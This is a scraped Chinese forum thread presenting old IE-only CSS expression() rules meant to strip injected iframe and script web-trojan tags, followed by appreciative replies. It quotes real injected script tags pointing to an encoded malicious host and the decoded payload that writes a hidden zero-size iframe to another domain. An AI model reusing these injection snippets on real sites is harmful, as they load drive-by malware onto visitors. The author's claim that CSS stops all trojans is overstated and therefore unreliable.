返回列表 发帖

二行代码解决全部网页木马(含iframe/script木马)

相信大多数朋友都是iframe木马的受害者,有朋友的网站被注入了N回iframe,心情可想而知。而且现在ARP攻击,注入iframe也是轻而易举的事,仅局域网里都时刻面临威胁,哎,什么世道。/ g* H* t) J# [7 P/ o
8 s& }+ a0 ]9 A) M8 @1 q7 T& ~2 @: |

) V3 L1 M$ C% j4 U6 k在阅读本文之前,我们先了解一下expression;2 C; t7 ~2 P1 v$ j' Z

$ X! t' G- ^& g6 D5 u% M+ tIE5及其以后版本支持在CSS中使用expression,用来把CSS属性和JavaScript脚本关联起来,这里的CSS属性可以是元素固有的属性,也可以是 自定义属性。就是说CSS属性后面可以是一段JavaScript表达式,CSS属性的值等于Javascript表达式执行的结果。在表达式中可以直接引用元素自身的属性和方法,也可以使用其他浏览器对象。这个表达式就好像是在这个元素的一个成员函数中一样。
4 S2 O! R/ C. E5 C. x+ ^2 q1 j6 x. @' ?5 R! C
很多朋友都知道CSS可以直接描述一个可视标记的外观。例如:p{color:red} 则网页里 所有p标记里的文字颜色都会变成红色;iframe不也是一个标记吗?开始跟灵儿写代码吧,呵呵:
3 R6 B* V, {# ^+ a0 C4 Niframe{...这里写描述外观的CSS代码;};
: e* w. l% T+ G. r: O( f
+ z1 |7 p: V8 r( J仔细想想要防止iframe里的东东被下载的最好办法是什么?核心来了,那就是切断iframe里的请求,切断请求就是要迅速销毁iframe对象。如何实现呢,上面不是介绍了expression吗?expression是可以执行JS脚本的哈。语法格式如下二种:
8 K5 b: v0 J. ~4 B) Q3 n! i% }  F. q3 j0 D1 H$ s6 F! c
标记固有的CSS属性名:expression(JS表达式);2 C4 F+ @0 i7 c5 }) I
或 自定义属性名:expression(JS表达式);
+ s% s, b) j. i% u2 ?& L
/ }( F& |* k* U- x( |! k  _' h在这里我们选择第二种,代码应该大致是这样
- z) G+ U" {5 T% W1 E# A# ]iframe{v:expression(JS表达式);}0 U: F( v' C" a  V$ L1 V8 v

. r& ~8 g+ D9 T, b% l  z接下来的问题是如何销毁网页里所有的iframe对象;使用JS实现的原理是这样的:使iframe里的请求地址变成空白页(about:blank),再将iframe对象从DOM(文档对象模型)中移除就可以切断所有iframe里的请求了。移除DOM节点的方法比较多,我这里就用 outerHTML这个属性吧。CSS代码如下:
$ o; h1 O) E, s; R1 biframe{v:expression(this.src='about:blank',this.outerHTML='');}$ q3 n) R4 h8 @

/ \& Q+ A3 C3 W4 t/ P" [说明:前面的v字是灵儿自己定义的一个CSS属性,这里的this代表所有将要描述外观的iframe对象,中间的逗号代表二句代码一起执行,没有执行优先顺序,这可是强有力的保证噢。about:blank代表空白页,大家都知道的。outerHTML属性是DOM对象包含自身的HTML代码,而innerHTML则是DOM对象(不含本身)里面所包含的HTML代码。" c" _5 T0 ]" `. x" N6 h
* D) _$ n( H. c2 t
爽快,代码写好了,就让我信来测试一下有没有效果。/ C# v) Y+ Q7 |" Z2 C( E

# [* w' k% B/ X首先,新建一个网页,插入以上的CSS代码(或在您现有的CSS代码里加入上面那句):
1 A# b/ J1 d6 ?5 I8 \5 G- p6 H<style type="text/css">
$ v+ X( g1 E6 }. fiframe{v:expression(this.src='about:blank',this.outerHTML='');}' [4 d6 t" h. B) s
</style>1 B. l& O* O9 w% ]4 p4 Y3 d, A# o
! i3 R9 o1 o, A4 O" E
然后在这个页面插入几个IFRAME代码,假设它们是被挂的木马网页。代码如下:  d% R, x0 X$ T  v) j
<iframe src="http://www.baidu.com"></iframe> 百度5 H- W1 |! ^* F4 s; r
<iframe src="http://www.126.com/"></iframe> 126邮箱: t( i6 {" r3 ]. r0 ]+ [" m
<iframe src=" http://www.163.com"></iframe> 网易
3 A3 V& h9 Y) N( [. ^1 _; j
8 {+ l4 l  f  }保存为noiframe.htm,打开浏览器测试一下(本地测试需要启用顶部禁用的脚本的提示条哦)。我这里使用抓包工具来测试,不过也没有必要使用抓包工具,一个最简单有效的方法是打开IE的缓存文件夹,先清空它,再刷新这个页面,看看缓存文件夹里有没有这三个网站里的文件。如果没有,说明没有任何请求结果被返回——测试结果是令人满意的,我的脸上有些微笑 ^^*,这时同事递给我一块饼,蛮好吃的。2 \) K7 O6 Y8 A8 r  Q

8 U9 T# ^1 a, E- X! F2 A) ]提示:Windows XP SP2的缓存文件夹位置 C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files( e) z( M0 M" z, q
& X1 T* k( n) k. i2 u& T
细心的朋友发现问题来了,如果我自己的网页里要使用iframe这个东东怎么办?
3 g: c6 a- \4 |6 B
6 [6 B. Q4 M4 j: d" g! [答:如果要使自己的iframe显示在网页里,而别人挂的IFRAME马都不起作用,在CSS里加一个
8 g  o5 C2 A! I- s3 M. ~2 E( B#f126{v:expression() !important}
! N8 A4 O# H* p0 F; b3 \0 a& Z2 U! H$ i
对应的IFRAME代码为:: ]: F" K* Y5 B7 B1 N
<iframe id="f126" name="f126" src="http://www.126.com/"></iframe>& E* J5 F8 B- q! e2 D3 h: S1 W4 i# B5 n
就OK了。
' X, t  Q" [* S5 C3 d0 q6 {% X6 g, d) f3 M! U. E' j
提示:IE7中优先执行标注有"!important"描述的样式,IE6不认识!important,采用就近原则,所以IE6的这个代码放在CSS的最后就可以了。2 v* \3 O' z( M! R: a# \

9 K" Q- F" z5 M6 i- O$ s5 @这里的f126,有很多朋友有疑问,他们问我为什么取"f126",我这样回答——这个f126是随意取的,只要下面的iframe里的ID属性和CSS里的一致就行了。同事又要递一块饼我吃,我说饱了哈..嘻嘻..
  y- y* [9 F# m. y  d: u  \8 G/ Z+ R  `, Z
当然挂马者可以构造这样的代码3 H! `0 _3 h. ?) T  \& \  {6 B; t
<iframe style="v:expression() !important" src="URL"></iframe>) j1 ?4 @9 n* _9 W7 }7 G9 z
使我的防御方式失效,不过它得特意去看我的CSS代码里iframe里的前缀v,如果我的v是变化的呢,哈哈,是不是也不管用呢!
) o' a1 n0 C; p: k1 B$ U# k
, M+ B% V& P+ \0 Q# |小结:以上的方法只是停止了iframe的请求并销毁了它本身,但以后的挂马方式改变了,例如改成
6 O9 M" {- ^. _% a* O) ?) G<script></script>& B2 `, o1 K  S6 S4 ^
方式挂,就不能用这种方法来解决了;此这个方法不是最终的解决案,最终的解决方案是找出真正被挂IFRAME的原因,堵住源头。这可不是我的事哈,呵~
/ h4 G( b6 T6 A7 A  O4 b! a) i; N
7 v" V8 `9 i6 F% ^% g应用实例:http://www.cncert.net 以此代码配合MD5(hash)校验,非常完美的防挂马解决方案
# H: z% a2 ]( @- J( r  U----------------------------------------分割线-----------------------------------------------------------------
8 |. [0 ~/ L( I! F) d' v) p0 B) Y$ H  f3 D) H
注意,以下地址含有木马,请不要轻易访问:
# V, W( g' j# v, ?* F  _$ ~3 c) |<script src=http://%76%63%63%64%2E%63%6E></script>
9 @. B% f+ E: ~" l$ ]<script src=http://%76%63%63%64%2E%63%6E></script>; y4 g# z0 {6 z& {) w: K4 C
<script src=http://%76%63%63%64%2E%63%6E></script>
( y8 N8 i: l2 n; I9 _<script src=http://%76%63%63%64%2E%63%6E></script>$ }8 Y6 k9 J8 g$ C" v) I7 [9 K
<script src=http://%76%63%63%64%2E%63%6E></script>
; x/ ~1 H5 K- q/ o8 k. A) y$ p<script src=http://%76%63%63%64%2E%63%6E></script>
8 v9 o! N) T& \6 z' ^, C5 b, w& Q<script src=http://%76%63%63%64%2E%63%6E></script>; Y% n- X# ]7 U# s3 H8 `
<script src=http://%76%63%63%64%2E%63%6E></script>
5 c0 B* r3 X/ g( z; `" X汗死,一连插入了N个一样的<script>标记。偶的电脑什么补丁都打了,直接访问这个http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),额~ 现形了:
: `$ d! ^+ }( Y) z$ p5 k, ]document.write("<div style='display:none'>")$ s7 v) R4 Y  Q/ Y, r  S
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")$ V% g5 C1 V! \0 @
document.write("</div>")
. |. `) t) C# m3 u4 h' r又用迅雷下载http://a.158dm.com/b1.htm这个文件,一看,乱七八糟的JS编码,汗,不过找到了一个类似QQ号的数字,直接加加看,汗,然后是专业提供网马的组织,哎,什么世道。还收费蛮高滴呢!
8 a" L( p3 G" C; W* E+ V1 I...
$ e6 g% Y, z& S( x& V5 x. \) `var Kfqq, Qqs="784378237"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
. l+ j2 Z; |' C8 u/ e  E; W(...略)(下面还有N个统计的JS代码)。* }$ B7 N/ G! J
针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,<script>木马的特点是什么:
2 U& K9 ~) O; A* t1 M2 L<script src=http://%76%63%63%64%2E%63%6E></script>
2 `# ]* u/ T7 {3 Z7 \; [% i2 C3 k7 u( [对了,script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他<object>代码,不管这么多,来多少杀多少。3 _4 f! @5 f6 B) ^8 n8 F
% ^  |& O$ f1 j9 k/ I/ G
来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈:, }& q( m: S, G8 {+ l$ H

! v0 A) R( @2 z解决方案1:8 d6 _: l9 ]" E
iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
: W. a. K6 b! L' Z5 A2 f7 _script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}, a- p( p( D  a8 P
原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。3 m4 s' z5 Y; p0 L& d' p* X- n
    缺点:访客无法看到被感染了<script>木马的页面。5 u" v# a/ M6 W6 t) A

7 a, e/ A) Q: P. x: f; k
. Q6 X0 O9 y  W2 Z7 V: V解决方案2:
! A# D5 X( N/ P1 z: J& L& [' Oiframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
% \3 ?2 L+ E; a8 f' }0 `script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}8 t" o& Z. O% j$ o
原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。# i7 T) w5 h, z' h4 {, Y- |

  ]) L& c( |( ]& j% S解决方案3:
3 P- q& y+ }$ X6 J* C, T5 ziframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
/ C( ]) Y- s4 Q" N3 W8 ?# Y/ P- dscript{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}  M% v* k' p8 A' g
 原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。
$ O/ u* {# \- B( Q9 W4 Q
$ i  C( X4 ]' p* ]! Q5 G+ R8 _4 |8 D解决方案4:5 W1 c& m( D- \* A
iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}+ d6 C$ I% O, E
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}6 V" {2 e" u7 K1 F* ?
   原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。
; U8 v' L; S: e, H4 D8 z+ {! w8 d8 ^2 D
解决方案5:
. G' @4 M$ W4 C6 I% [  Niframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}5 l2 ?6 w9 F9 `* F7 O7 {' E
script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木马被成功隔离!'):''));}
) k% d6 u  m- `6 c- t   第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如 lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 2 g* V2 X7 |; v; Y% h+ d! R# p

4 w- \9 w! H" q) T' E1 _: V! O" r, h以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)8 a* U0 ^# [/ s
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">+ ]# u: `1 c: n3 k, Z
<html xmlns="http://www.w3.org/1999/xhtml">
" G0 J) D$ B3 d! O* o  X<head>
6 M6 \% t9 F  M2 L<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />2 E* V. q5 n6 H) z" k
<title>让JS木马的进程迅速中止的CSS代码</title>
* |+ O3 n/ i0 ?( n<style type="text/css" id="LinrStudio">
' c  K( `- g0 q8 m! I/*<![CDATA[*/4 }# }6 P3 u3 `% r
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
/ f* d, ~, R5 h- Bscript{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
1 n8 H8 l* T. n( I/* 以后请在此关注最新木马处理方法:http://www.nihaoku.cn/ff/api.htm */# z) R! D( H, o3 l2 m- X$ ]
/*]]>*/) n+ N% M* N2 Y/ h0 D
</style>
7 y. f7 R5 m" M4 L. b</head>& q+ I6 [# m. W& Y% z. Q5 J
<body>, c# U$ \' l' o" g# |$ h3 N
<script type="text/javascript" src="1.js"></script>
7 M) U- n/ h4 W+ S2 J. x<script src=http://%76%63%63%64%2E%63%6E></script>
5 v# K" l8 C& k<script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script>
- o4 ]6 _$ v! n8 G4 f7 z<script src=http://%76%63%63%64%2E%63%6E></script>: m9 M7 j1 R* r$ z
我是页面本身的1
1 U5 X1 J$ U; a/ N<script src=http://%76%63%63%64%2E%63%6E></script>
: f' g. ^" L5 w4 Y, l( h( S我是页面本身的2
' m+ z3 o9 @' r2 i4 }<script src=http://%76%63%63%64%2E%63%6E></script>
0 ~- o) R. D. ]& v9 w: s) |- q% A我是页面本身的3
1 `% f# }5 e- B: _' K( A<script src=http://%76%63%63%64%2E%63%6E></script>
/ r, ]/ ?! h! l. |% S; n</body>% C* a1 j. ?$ v) V' B! {! ^. i) L
</html>1 Z. l2 G9 i1 e# {
其中1.js是自己本站的:
8 y4 T7 i( }. `  U4 [document.write("我是本站的JS文件");
2 U0 X$ O$ T1 R- r* Y3 I( \/ Q: q( Ydocument.write("<img src='' />");8 \7 A) x9 {8 D% O
我的测试环境是:
% D9 }( a. ~/ U3 g1 T  Windows XP SP2 和windows Vista SP1: J  x, Z6 R5 M% B
IE6/IE7/IE8
- w# w  K' p2 \3 g% c/ r已全部打好补丁。
# q8 [3 t1 o7 s% \综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。9 z$ x  x! `# ~; x/ T+ r

" O& \' U  W: g2 D大家也要仔细研究一下,看看我的代码有什么BUG,有的话一定要拿出来讨论,好解决问题!或是各位有其他更好的办法可以拿出来讨论一下。6 R, v1 f5 S7 ^6 r
' q9 M4 c+ y4 z0 h
很晚了,我要睡觉了。有空再研究。& _6 C- q/ A( P# Y
: J6 _! |% `4 Q$ z+ |, X
更正第五个方案
$ X8 `1 B) t2 |* t上面写到的第五个方案代码写错了,) g7 ?$ n1 Y+ p+ q' M6 i
) w8 r4 v6 _+ N. K$ _1 D
<script src="***/**.js" id="lhSearchJSapi"></script>
2 {. j# D; P" X  q0 R0 _2 U5 T
( X: `) z+ y% y! x9 u! F3 n# E6 Rscript{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木马被成功隔离!'):''));}
  B! S$ J% c2 _, C1 R, m6 Q, `/ o8 D/ J9 [( L1 y
红色字部分有错误,应该是!=-1,上面的正确写法应该是:
; ^3 _" m7 [$ ^/ m" |
6 a1 `" m9 L. w. E9 f  v! i6 Vscript{noj5s:expression((this.id.toLowerCase().indexOf('lh')==-1)?document.write('木马被成功隔离!'):''));}
9 a9 r3 Q  L; e2 c# I/ S0 G8 {script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木马被成功隔离!'):''));}
5 L+ G! E. a% Z  f/ W[/code]<script id="tjJSapivok" title="这是你外域的统计流量的JS代码" type="text/javascript" src="http://js.tongji.yahoo.com.cn/1/188/205/ystat.js"></script>
: ^6 c6 ^: y2 m, S3 l  l<script id="otherJSapivok" title="这是你本站需要的JS文件" type="text/javascript" src="footer.js"></script>[/code]script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木马被成功隔离!'):''));}5 _! l  r' h/ q+ U/ j4 f/ s

% q$ a: I4 v$ `+ r" h& h<script id="footerJSapivok" src="这里写你本网站的JS路径" type="text/javascript"></script>
" ^* j: ~8 Y5 W5 c/ P<script id="tongjiJSapivok" src="这里外域的JS路径" type="text/javascript"></script>7 h/ J# D6 M' |5 G: S. F( R

# Q' P( L8 s' X8 U: D# l你网站的所有JS标记(<script>)都得加上id属性,并且有一个共同的前缀、后缀或公共字符串,上面的公共字符串为“vok”。

好东西。6 T; \5 U3 }, g& g% K# `/ A$ m& f# z) f
留个记号。

TOP

写得挺全的
" L- a$ ~) R. f( c: t

TOP

谢谢,,,,,,,,,,,,标记一下,呵呵呵

TOP

不错,这个挺实用

TOP

不错不错

TOP

很好的一篇帖子  5 t: T! _, w/ f
网站不安全因素太多了  常听到朋友说网站被挂木马,有时间好好学习下这帖子,先收藏了1 _" `1 i2 u5 d5 k5 H1 s
不错 !3Q

TOP

首先,新建一个网页,插入以上的CSS代码(或在您现有的CSS代码里加入上面那句):
! B/ K) Z$ n7 Y+ ]<style type="text/css">" Q4 I% b  ~  v  }+ M+ U3 G& J# g
iframe{v:expression(this.src='about:blank',this.outerHTML='');}
7 }& n: I$ L2 t: o" X& `* K" ~0 q</style>
2 t8 X' f) l" v! F" A; N: f5 W
8 C9 b: M* k9 q  N3 R8 i然后在这个页面插入几个IFRAME代码,假设它们是被挂的木马网页。代码如下:
! {4 `$ V& x6 N. D* e1 O) s<iframe src="http://www.baidu.com"></iframe> 百度8 U/ ]) o% Y' g. G! @
<iframe src="http://www.126.com/"></iframe> 126邮箱
$ Q9 Z& t8 J* V/ ~. o( I+ e' d. m' c<iframe src="http://www.163.com"></iframe> 网易
( n# F/ [9 f* n' d& k, b# s' X8 \  V: V) p3 c
最管用的几行字。。呵呵。

TOP

收藏,非常好

TOP

做个记号。呵呵

TOP

非常好的东西,谢谢楼主

TOP

认真努力学习……安全这块可不能忽视

TOP

iframe{v:expression(this.src='about:blank',this.outerHTML='');}2 J! U/ y9 j0 S7 m% H5 z, Y
我把这行放到CSS中,结果IE 上 GG ad都不能显示,火狐正常。

TOP

恩,13楼说的对,google ad在ie下确实消失,在火狐狸浏览器正常显示

TOP

做个记号 :handshake :handshake

TOP

返回列表